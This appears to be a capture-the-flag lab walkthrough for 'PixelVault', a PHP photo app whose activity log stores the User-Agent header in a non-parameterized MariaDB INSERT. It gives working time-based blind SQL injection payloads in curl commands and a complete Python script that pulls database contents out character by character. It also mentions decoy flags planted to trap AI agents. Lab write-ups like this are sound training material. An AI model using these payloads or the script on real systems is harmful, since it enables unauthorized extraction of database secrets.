Lab 82 — PixelVault — SQL Injection via User-Agent in Activity Logging
Lab 82 — PixelVault — SQL Injection via User-Agent in Activity Logging
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, decoy_flag_avoidance, insert_statement_injection, sqli_via_user_agent_header, time_based_blind_sqli
Summary
Walkthrough of the CUSTOM Web Lab 82 — PixelVault — SQL Injection via User-Agent in Activity Logging. Task: Photo management platform with activity logging that stores User-Agent header directly in MariaDB via non-parameterized INSERT. Decoy flags in HTML comments mislead scanners. Solution: Time-base
Description
PixelVault is a self-hosted photo management platform used by photography studios and creative agencies. The application allows users to upload photos, organize them into albums, and share collections with clients. It features an admin dashboard with user management and detailed activity logging that tracks login events, uploads, and configuration changes.
Your goal is to find and exploit a vulnerability in the application to extract a secret flag hidden somewhere in the database. The flag is not accessible through any normal application endpoint — you'll need to find a way to query the database directly.
Credentials: user@test.com / password123
English summary: A PHP photo management app with activity logging. The User-Agent header is stored directly in the database without parameterization, enabling SQL injection. The real flag is in an app_secrets table, while decoy flags are scattered throughout the HTML.
Analysis
Reconnaissance
The application is PHP 8.2.26 behind nginx/1.25.5 with MariaDB 10.11.14 backend. After logging in with provided credentials (user@test.com / password123), the following pages are accessible:
- Gallery (
/) — photo grid - Dashboard (
/dashboard) — stats overview - Albums (
/albums) — album management - Upload (
/upload) — file upload - Activity (
/activity) — activity log with User-Agent column - Settings (
/settings) — user preferences
The /activity page displays a table with columns: Action, Details, IP Address, Browser / User-Agent, and Timestamp. When logging in with curl, the exact User-Agent string (e.g., curl/8.7.1) appears verbatim in the activity log — indicating direct database storage without sanitization.
Decoy Flags
Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs. These are traps for automated scanners and AI agents. The real flag is only in the database.
Confirming SQL Injection
Single quote in User-Agent during login causes HTTP 500 (SQL syntax error):
bash read-only • copy allowedcurl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/login" \ -H "User-Agent: test'" \ -d "email=user@test.com&password=password123" # Returns: 500
Double single quote (escaped) returns 302 (success):
bash read-only • copy allowedcurl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/login" \ -H "User-Agent: test''" \ -d "email=user@test.com&password=password123" # Returns: 302
INSERT Structure Discovery
Through systematic testing, the SQL INSERT structure was determined:
sql read-only • copy allowedINSERT INTO activity_log (..., user_agent, created_at) VALUES (..., '<USER_AGENT>', NOW())
Key findings:
- User-Agent is the second-to-last column
- Last column is a datetime (accepts
NULL,NOW(),CURDATE(),CURRENT_TIMESTAMP,0,DEFAULT) #works as comment character → confirms MySQL/MariaDB- Stacked queries (
;) don't work → PHP'smysqli_querydoesn't support multi-query - Multi-row INSERT fails (likely due to table constraints)
The injection payload structure:
test', IF(condition, SLEEP(1.5), NULL))#
This closes the User-Agent string, provides a value for the datetime column (either SLEEP result or NULL), closes the VALUES parenthesis, and comments out the rest.
Solution
Step 1: Confirm Time-Based Blind Injection
bash read-only • copy allowed# TRUE condition — causes 1.5s delay curl -s -o /dev/null -w "%{time_total}" -X POST "$TARGET/login" \ -H "User-Agent: test', IF(1=1, SLEEP(1.5), NULL))#" \ -d "email=user@test.com&password=password123" # Returns: ~3.5s # FALSE condition — no delay curl -s -o /dev/null -w "%{time_total}" -X POST "$TARGET/login" \ -H "User-Agent: test', IF(1=2, SLEEP(1.5), NULL))#" \ -d "email=user@test.com&password=password123" # Returns: ~0.5s
Step 2: Database Enumeration
Using binary search on character positions:
- Database version:
10.11.14-MariaDB - Tables:
activity_log,albums,app_secrets,photos,users - app_secrets columns:
id,key_name,key_value,created_at
Step 3: Flag Extraction
python read-only • copy allowed#!/usr/bin/env python3 """ PixelVault SQLi - Direct flag extraction from app_secrets table Time-based blind SQL injection via User-Agent header """ import requests import time TARGET = "https://TARGET.labs.hackadvisor.io" LOGIN_URL = f"{TARGET}/login" CREDS = {"email": "user@test.com", "password": "password123"} SLEEP_TIME = 1.5 THRESHOLD = 1.0 def inject(condition): ua = f"test', IF({condition}, SLEEP({SLEEP_TIME}), NULL))#" start = time.time() try: r = requests.post(LOGIN_URL, data=CREDS, headers={"User-Agent": ua}, allow_redirects=False, timeout=SLEEP_TIME + 10) except requests.Timeout: return True elapsed = time.time() - start return elapsed > THRESHOLD def extract_string(query, max_len=100): result = "" for pos in range(1, max_len + 1): if not inject(f"LENGTH(({query}))>={pos}"): break low, high = 32, 126 while low < high: mid = (low + high) // 2 if inject(f"ORD(SUBSTRING(({query}),{pos},1))>{mid}"): low = mid + 1 else: high = mid char = chr(low) result += char print(f"\r [{pos}] {result}", end="", flush=True) print() return result print("Confirming injection...") assert inject("1=1"), "TRUE should delay" assert not inject("1=2"), "FALSE should not delay" print("OK!\n") print("Extracting flag from app_secrets...") flag = extract_string( "SELECT key_value FROM app_secrets WHERE key_value LIKE 'FLAG%' LIMIT 1", max_len=80 ) print(f"\n*** FLAG: {flag} ***")
The script uses binary search (7 requests per character) to extract the flag character by character. For a 38-character flag, this requires approximately 266 requests (~7 minutes at 1.5s sleep per TRUE condition).
Dead Ends
- Stacked queries —
; SELECT ...doesn't work with PHP'smysqli_query(single query only) - Multi-row INSERT —
VALUES (...), (...)fails due to table constraints or column count mismatch - UNION injection — not applicable in INSERT context
- Decoy flags —
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}appears everywhere in HTML but is fake - ImageMagick/file upload attacks — the upload functionality is not the vulnerability vector in this lab
Key Takeaways / Lessons
- Mastering binary_search_extraction, decoy_flag_avoidance, insert_statement_injection, sqli_via_user_agent_header, time_based_blind_sqli was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 82 — PixelVault — SQL Injection via User-Agent in Activity Logging • Difficulty: Medium